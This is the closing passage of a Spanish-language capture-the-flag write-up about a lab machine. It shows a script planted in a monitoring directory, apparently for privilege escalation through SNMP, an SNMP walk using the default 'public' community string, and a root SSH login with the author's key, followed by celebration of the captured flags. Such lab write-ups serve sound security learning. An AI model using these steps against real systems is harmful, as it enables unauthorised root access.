[michelle@pit ~/testeando]$ cp checkea.sh /usr/local/monitoring/
[michelle@pit ~/testeando]$ ls -la /usr/local/monitoring/checkea.sh
-rwxrwxr-x. 1 michelle michelle 612 Jun 29 25:25 /usr/local/monitoring/checkea.sh
❱ snmpbulkwalk -v2c -c public 10.10.10.241 iso

No vemos ningún problema (al parecer):

Intentamos ahora conectarnos por SSH pasándole nuestra llave privada como identificación:

❱ ssh root@10.10.10.241 -i ~/.ssh/id_rsa

Yyyyyyyyyyyyyyyyy…

TAMOOOOOOOOOOOOOOOOOOOOOOS DENTROOOOOOOOO DE LA MÁQUINAAAAAAAAAAAAA COMOOOO ROOOOOOT!!

Veamos las flags…

346flags

FIN!! NO VA MÁS!!

Dios, fue una máquina bastante, ihss, no sé, muy poco amigable jjaajaj, pero bueno, se aprendió, se hizo un lindo script y pensamos mucho lateralmente.

La parte del script (privesc) fue algo extraña. Lo que me gusto es que todo lo que encontramos se usó, así que bien ahí!!

Y bueno, nos leeremos en otros rincones de tu mente, descansa (de verdad) pero recuerda, a seguir ROMPIENDO todoooooooooooo!

Comments

comments powered by Disqus